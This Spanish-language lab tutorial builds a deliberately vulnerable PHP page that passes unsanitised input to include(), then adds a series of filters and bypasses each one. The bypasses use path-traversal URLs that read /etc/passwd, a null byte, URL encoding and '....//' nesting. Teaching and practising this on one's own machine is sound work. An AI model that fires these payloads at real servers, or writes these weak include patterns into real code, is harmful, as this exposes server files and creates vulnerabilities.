Local File Inclusion - Laboratorio
Introducción
¿Que es un Local File Inclusion?
Un Local File Inclusion es una vulnerabilidad web la cual nos permite visualizar archivos locales de un servidor, el mas común se da en un output de la misma web a la hora de mostrar un recurso y la llamada del archivo no esta bien sanitizada a nivel de código.
En esté primer post veremos como desarrollar esta vulnerabilidad a nivel web e iremos implementando cada vez mas satinizaciones y al mismo tiempo las iremos rompiendo.
Levantar servicio http
Para comenzar tenemos que tener un servicio web donde montaremos nuestra pagina vulnerable nosotros usaremos apache2 y su instalación es sencilla para instalarlo en nuestro equipo linux se usan los siguiente comandos:
$ sudo apt update
$ sudo apt install apache2
Ya cuando lo tengamos instalado podemos ponerlo en marcha con el siguiente comando.
$ sudo service apache2 start
Si entras a tu navegador de preferencia a la dirección “http://127.0.0.1/” ó “http://localhost/” y puedes ver la siguiente web es que ya tenemos el primer paso hecho.
Excelente ahora que ya tenemos nuestro web corriendo y funcionando nuestro primer paso es ir a la ruta /var/www/html
y en el mismo directorio hacer un rm -r /var/www/html
ya que no necesitamos los archivos que apache nos crea a la hora de su instalación.
Ya que tenemos limpia la ruta empezaremos con nuestro primer código vulnerable.
Creación nuestra web vulnerable
Vamos a crear un archivo php el cual llamaremos index.php.
$ touch index.php
El contenido que tendrá sera el siguiente:
<?php
$filename = $_GET['file'];
include($filename);
?>
Y también crearemos un archivo secundario llamado hola.html en la misma ruta con el siguiente contenido:
<html>
<body>
<h1 align="center" >Mi Primera pagina web </h1>
<hr>
<p>Hack the word!!.</p>
</body>
</html>
Antes de ejecutar cualquier cosa vamos a explicar que es cada cosa ya que para saber explotar una vulnerabilidad y parchear la hay que saber como funciona y porqué.
En la primer linea del archivo index.php estamos declarando una variable llamada $filename la cual estamos guardando el valor que le llagará por ‘GET’ de la variable ‘file’ (se entenderá mejor en la practica).
En la segunda linea estamos usando la función include() la cual su objetivo como el mismo nombre lo dice es incluir un archivo en base a su ruta y el contenido, el cual puede ser interpretado en php, html u otro formato si la web lo permite y esta configurada para hacerlo.
Sabiendo esto si nosotros vamos a nuestra web veríamos lo siguiente:
Nuestro primer LFI
Claramente no hay nada ya que ni en el index.php implementamos algo visual (Texto, imágenes, tablas, botones, etc.) ni en la variable ‘file’ le hemos pasado alguna ruta de un archivo el cual pueda ser interpretado por include()
.
Ahora que ya estamos en la web vamos a pasarle a la variable file que fue la que definimos en el index el valor de hola.html el cual esta en la misma ruta que index y no es necesario pasarle la ruta absoluta para que include lo interprete.
http://127.0.0.1/?file=hola.html
Excelente vemos que efectivamente el código funciona y nos esta mostrando el código que previamente creamos en html. Pero bueno aquí estamos para romper no para crear paginas web, entonces sabiendo que podemos mostrar archivos ¿Qué pasaría si le pasamos la ruta de el /etc/passwd a la variable file?.
Que sorpresa!, esto pasa porqué la función include incluye cualquier archivo mientras esté en el mismo directorio que el archivo el cual tiene la función include()
ó que exista en la ruta absoluta. En este caso nosotros le estamos pasando la ruta absoluta del archivo passwd la cual es /etc/passwd.
Bien ahora que ya vimos como funciona un LFI básico vamos a modificar un poco el php.
<?php
echo "<html>";
echo "<br>";
echo "<br>";
echo "<center><a href=index.php?file=hola.html><button>Hack NSA</button></a></center";
$filename = $_GET['file'];
echo "<p>";
include($filename);
echo "</p>";
echo "</html>"
?>
Lo que implementamos solo fue etiquetas html y un botón un simple botón que cuando le damos clic le pasara a la función file el valor de hola.html esto seria un escenario en una web uno muy simple pero posible, en una web no estaremos nosotros pasando los valores a las variables y aquí es donde nosotros vamos a empezar a intentar cosas cuando veamos una variable en webs.
Entonces si lo aplicamos veríamos lo siguiente:
Path Truncation
Con la implementación de este cambio todo actuá de la misma forma y con este botón estaremos trabajando, aun con esta implementación podemos visualizar el /etc/passwd porqué aun no implementamos un filtro pero ¿Qué pasaría si a include() le agregamos lo siguiente?:
include("/var/www/html/" . $filename)
Lo que estamos indicando aquí es que le estamos diciendo a la función include() que solo queremos que lea de está ruta especifica en adelante y si vamos a la web todo funciona normal ya que nuestro archivo “hola.htm” esta en esa ruta y si ingresamos a la variable file el “/etc/passwd” vemos que ya no nos lo muestra.
Tal vez te preguntaras ¿Entonces ya no podemos ver archivos locales? y la respuesta es Claro que si!!. Aquí agregamos el concepto de “trasversal path”.
Cuando estamos navegando por consola si nosotros especificamos un “cd ..” este comando lo que hará es llevarnos un directorio atrás, esté concepto funciona también con la función “include()”, vamos a mover de ruta nuestro archivo hola.html a la ruta /var/www/ que simplemente seria una ruta atrás de donde esta y en nuestra pagina le pasamos a ‘file’ el valor de ../hola.html
veríamos lo siguiente:
Como vemos nos muestra el contenido de hola.html aunque no este en la ruta especifica y si nosotros llevamos esto a un pensamiento de atacante podemos retroceder los directorios necesarios para llegar a la raíz ’/’ del sistema y pasarle la ruta absoluta de /etc/passwd en este caso sabemos que tenemos que retroceder 3 directorios pero en dado caso que no supiéramos podemos retroceder todos los que queramos siempre y cuando lleguemos a la raíz para alcanzar el archivo con la ruta absoluta.
http://127.0.0.1/?file=../../../../../etc/passwd
Null byte
** Este apartado funciona si contamos con una versión desactualizada de php específicamente pho5 para abajo **
Vamos a implementar un nuevo filtro a nuestro archivo php y específicamente a la función “include()” una vez mas.
include("/var/www/html/" . $filename . ".html")
En este caso lo que agregamos fue un filtro para que cualquier archivo que incluyamos tenga terminación “.html” entonces también tenemos que editar nuestro botón.
echo "<center><a href=index.php?file=hola><button>Hack NSA</button></a></center";
Y si vamos a nuestra web y accionamos nuestro botón podemos ver que la web sigue mostrándonos el contenido de “hola.html” aunque a la hora de hacer la referencia en el la etiqueta ” <a> “ hayamos quitado el “.html”
Si regresamos a los escenarios de un atacante podemos ver que en la url no se ve a que tipo de archivo estamos refiriendo y si hacemos nuestro path traversal ya no nos muestra el /etc/passwd por que a lo que estamos llamando en la función include() seria /etc/passwd.html
Para nosotros saltarnos romper este filtro lo que haríamos seria agregar un null byte que se representa con “%00”
http://127.0.0.1/?file=../../../../../etc/passwd%00
Esto se solucionó en la version de php5.4 pero no esta mal saber que existe por que te lo puedes encontrar en retos CTFs o incluso podría caer en una auditoria.
Encoding
Vamos a implementar mas filtros a nuestro index.
Usaremos la función “strpos()” la cual su objetivo es encontrar cualquier ocurrencia en un string. Para ser mas claro si nosotros le pasamos un string “hola” y le preguntamos si en el string existe el carácter “a” al ser así nos regresa un valor “True” y de no ser así nos regresa un valor “False”.
Mas información sobre strpos() aqui.
También usaremos $_SERVER el cual es un array que contiene información, tales como cabeceras, rutas y ubicaciones de script. Las entradas de este array son creadas por el servidor web y sabiendo esto podemos resumir que esté array cuenta con todo el contenido que nosotros le pasamos a nuestra web como el caso de el valor de la variable file.
Bien entonces una vez que conocemos y comprendimos el funcionamiento de estos nuevos parámetros que usaremos para implementar un filtro los juntaremos de la siguiente forma:
strpos($_SERVER['QUERY_STRING'], '/')
Lo que estamos indicando aquí seria preguntarle a la función strpos() si en QUERY_STRING el cual es la variable del arreglo “$_SERVER” que almacena la cadena de la peticiones que hacemos en la pagina existe el carácter ’/’ y si es así entonces la función strpos() nos retornaría un valor “True” esté valor nos interesa y lo aprovecharemos dentro de un if() de tal forma que el nuevo index quedaría así.
<?php
echo "<html>";
echo "<br>";
echo "<br>";
echo "<center><a href=index.php?file=hola.html><button>Hack NSA</button></a></center";
echo "<p>";
if( strpos($_SERVER["QUERY_STRING"], "/") ){
echo "<p>";
exit("[!]Carácter Invalido!!");
}else{
echo "<p>";
include("/var/www/html/" . $_GET['file']);
}
echo "</p>";
echo "</html>"
?>
Bien una vez que implementamos los cambios y vamos a nuestro navegador vemos que todo sigue igual incluso si accionamos el botón.
Pero si nosotros le pasamos a la variable file lo siguiente:
http://127.0.0.1/?file=../../../../../etc/passwd
Ahora ya no nos muestra el valor del /etc/passwd ya que como la función strpos nos devolvió un “True” a la hora de hacer la comparación no pudimos incluir este recurso del /etc/passwd y así mostradnos el ”[!] Carácter Invalido!!”
Una forma de burla esto seria usar urlcode que en palabras simples seria el valor del carácter en hexadecimal podemos encontrar tablas de ascii to hex en internet.
Table ASCII Encoding Reference.
En este caso nosotros sabemos que el carácter ’/’ no es valido y si buscamos en una tabla de ascii to hex podemos ver que el valor equivalente de ’/’ es ‘%2F’ así que si en la url remplazamos este valor de la siguiente forma:
http://127.0.0.1/?file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Si aplicamos esta modificación a la hora de pasarle el valor a la variable ‘file’ en la url podemos ver que evadimos el filtro.
Esto funciona así ya que a la hora de hacer la comparación strpos evaluá el valor en ascii y no en hex y como a nivel web a la hora de recibir un valor ’/’ y ‘%2F’ es lo mismo lo sigue interpretado la función include().
Podemos implementar mas restricciones en este caso vamos a restringir el uso de ”.” y ”/”.
<?php
echo "<html>";
echo "<br>";
echo "<br>";
echo "<center><a href=index.php?file=hola.html><button>Hack NSA</button></a></center";
echo "<p>";
if( strpos($_SERVER["QUERY_STRING"], "/") ){
echo "<p>";
exit("[!] Carácter Invalido!!");
}
if( strpos($_SERVER["QUERY_STRING"], ".") ){
echo "<p>";
exit("[!] Carácter Invalido!!");
}else{
echo "<p>";
include("/var/www/html/" . $_GET['file']);
}
echo "</p>";
echo "</html>"
?>
Aquí agregamos otro if teniendo un total de dos if anidados los cuales cada uno compara en el array si existe el carácter que le mencionamos en este caso fue el ”.” y ”/” y bien usando lo aprendido anteriormente sabemos que podemos evitar este filtro pasando le el valor del carácter en hexadecimal.
Por ende sabemos que el valor de ”.” es “%2E” y ’/’ es ‘%2F’ entonces si modificamos la cadena quedaría de la siguiente forma:
http://127.0.0.1/?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
Blacklist and Replacement
Vamos a implementar un filtro diferente de bloqueo de caracteres, esté es otro escenario que nos podríamos encontrar en retos CTF, maquinas de Hack The Box, Try Hack Me, etc.
Ahora usaremos la variable str_replace esta función lo que hace es que si tiene un match con el valor que le indiquemos en este caso ”../” remplazarlo por otro que le indiquemos el cual sera ”“ dando así un valor nulo.
Entonces nuestro código quedaría de la siguiente forma.
<?php
echo "<html>";
echo "<br>";
echo "<br>";
echo "<center><a href=index.php?file=hola.html><button>Hack NSA</button></a></center";
echo "<p>";
$filename = str_replace('../', '', $_GET['file']);
echo "<p>";
include("/var/www/html/" . $filename);
echo "</p>";
echo "</html>"
?>
Si vamos a la web vemos que el botón sigue funcionando de la misma forma pero si le pasamos el siguiente valor a file:
http://127.0.0.1/?file=../../../etc/passwd
Podemos ver que no nos muestra el /etc/passwd y si intentamos urlencodear el payload el resultado es el mismo.
http://127.0.0.1/?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
Podemos ver que ya no nos lo muestra ni aunque le pasemos los valores en hexadecimal, una forma de evadir este filtro es jugar con la lógica a la hora de ver este tipo de satinizaciones por ejemplo el código que implementamos esta indicando que el match con ”../” lo remplace por un valor nulo en este caso representado así ”“ entonces si nosotros le pasáramos un valor “….//” y nos eliminara el match no quedaríamos con el valor de ”../”.
Por lo tanto si nosotros pasáramos un payload así:
http://127.0.0.1/?file=....//....//....//....//etc/passwd
La lógica nos indica que si podríamos visualizar el /etc/passwd
Y efectivamente así es la función str_replace nos elimina el match pero ya no nos elimina el resultado final de ese remplazo.
Bypass with urlcode and Blacklist Replacement
Si al código le agregamos un ultimo filtro de tal forma que quedaría de la siguiente manera:
<?php
echo "<html>";
echo "<br>";
echo "<br>";
echo "<center><a href=index.php?file=hola.html><button>Hack NSA</button></a></center";
echo "<p>";
if( strpos($_SERVER["QUERY_STRING"], "/") ){
echo "<p>";
exit("[!] Carácter Invalido!!");
}
if( strpos($_SERVER["QUERY_STRING"], ".") ){
echo "<p>";
exit("Hola");
}else{
echo "<p>";
$filename = str_replace('../', '', $_GET['file']);
include("/var/www/html/" . $filename);
}
echo "</p>";
echo "</html>"
?>
Lo que hicimos fue crear un doble filtro el cual la variable strpos() evaluá si hay una coincidence de carácter en el array del QUERY_STRING esto lo hace dos veces y de no ser así iría directamente al else donde la variable “$filename” recibe el valor de str_replace() si es que tiene un match remplaza el mach con un valor null.
Con estos filtros implementados si le pasáramos la ultima Query que creamos vemos que ya no nos muestra el /etc/passwd.
Para poder romper estos filtros lo que podemos hacer en base a lo visto anteriormente es urlencodear el payload que le mandaremos a “file” de tal forma que nos quedaría así:
http://127.0.0.1/?file=%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2fetc%2fpasswd
Si implementamos esto en nuestra web podemos ver que efectivamente evadimos los últimos filtros que implementamos.
Excelente ahora lo que queda es tener imaginación y probar diferentes formas de enviar una Query ya que no siempre sera la forma mas sencilla a veces es necesario probar todos las técnicas e ir descartando hasta encontrar la que nos servirá para comprometer nuestro objetivo.
De esta forma concluyo con el primer Laboratorio de la familia de Técnicas Web el siguiente Laboratorio sera de como convertir un Local File Inclusion a un Remote Code Execution. Muchas gracias por leer y apoyar este contenido HACK THE WORD!!.